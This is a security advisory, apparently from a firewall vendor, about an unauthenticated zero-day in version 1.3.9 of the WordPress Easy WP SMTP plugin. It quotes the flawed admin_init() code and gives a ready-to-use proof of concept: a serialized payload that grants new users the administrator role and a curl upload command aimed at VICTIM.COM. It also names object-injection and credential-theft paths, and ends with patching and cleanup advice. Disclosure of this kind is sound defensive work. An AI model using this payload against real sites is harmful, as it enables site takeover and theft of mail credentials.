Critical zero-day vulnerability fixed in WordPress Easy WP SMTP plugin.

The popular Easy WP SMTP plugin, which as 300,000+ active installations, was prone to a critical zero-day vulnerability that allowed an unauthenticated user to modify WordPress options or to inject and execute code among other malicious actions.

The vulnerability, found in version v1.3.9, has been exploited by hackers since at least March 15 (11:00 am UTC), and was caught by our Web Application Firewall for WordPress, NinjaFirewall (WP Edition).

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

The above admin_init() function, from the easy-wp-smtp.php script, is ran via the admin_init hook when a user accesses the admin area. It is used to view/delete the log, import/export the plugin configuration and to update options in the WordPress database. It does not check the user capability, hence any logged in user, such as a subscriber, could trigger it. But it can also be executed by unauthenticated users, because Easy WP SMTP makes use of AJAX and the admin_init hook runs also on admin-ajax.php as indicated in the WordPress API doc:

Note, this does not just run on user-facing admin screens. It runs on admin-ajax.php and admin-post.php as well.

Therefore, an unauthenticated user can send an AJAX request, e.g., action=swpsmtp_clear_log, to trigger the above function and execute its code.

Proof of Concept

In the following proof of concept, I am going to use swpsmtp_import_settings to upload a file that will contain a malicious serialized payload that will enable users registration (users_can_register) and set the user default role (default_role) to “administrator” in the database.

1. Create a file name “/tmp/upload.txt” and add this content to it:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

2. Upload the file:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

Other vulnerabilities could be exploited such as:

  • Remote Code Execution via PHP Object Injection because Easy WP SMTP makes use of unsafe unserialize() calls.
  • Viewing/deleting the log (or any file, since hackers can change the log filename).
  • Exporting the plugin configuration which includes the SMTP host, username and password and using it to send spam emails.

Interestingly, all attempts caught by our firewall on March 15 showed that hackers tried to exploit the vulnerability to alter the content of the WordPress wp_user_roles option in the database and to give administrator capabilities to all users. Unlike creating an admin account, which can be easily detected in the WordPress “Users” section, altering capabilities is hardly noticeable, i.e., a simple subscriber will keep appearing as a subscriber but will be able to do everything an admin can do.

Timeline

We reported the vulnerability to the authors and the wordpress.org team on March 15 and a new version 1.3.9.1 was released on March 17.

Recommendations

Update as soon as possible if you are still running version 1.3.9.

If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected. NinjaFirewall protects proactively against this type of vulnerability.

If you were using the vulnerable version of Easy WP SMTP, here are some additional recommendations (non-exhaustive list):

  • Check your WordPress “Settings > General” page: Make sure nothing was tampered with (URL, Email Address, Membership and New User Default Role).
  • Check your WordPress “Users” page: Look for new users, weird admin accounts, check the admin email address etc.
  • Change all passwords.
  • Check your WordPress wp_options* table in the database”: Make sure wp_user_roles*, which contains user roles and capabilities, hasn’t been tampered with. You can also use our free NinjaScanner for WordPress.
  • Scan your files too, hackers may have uploaded backdoors.
  • Change your SMTP password, hackers may have stolen it.
  • Install a web application firewall to protect your blog.

*If you changed your WordPress database prefix, replace wp_ with the correct one.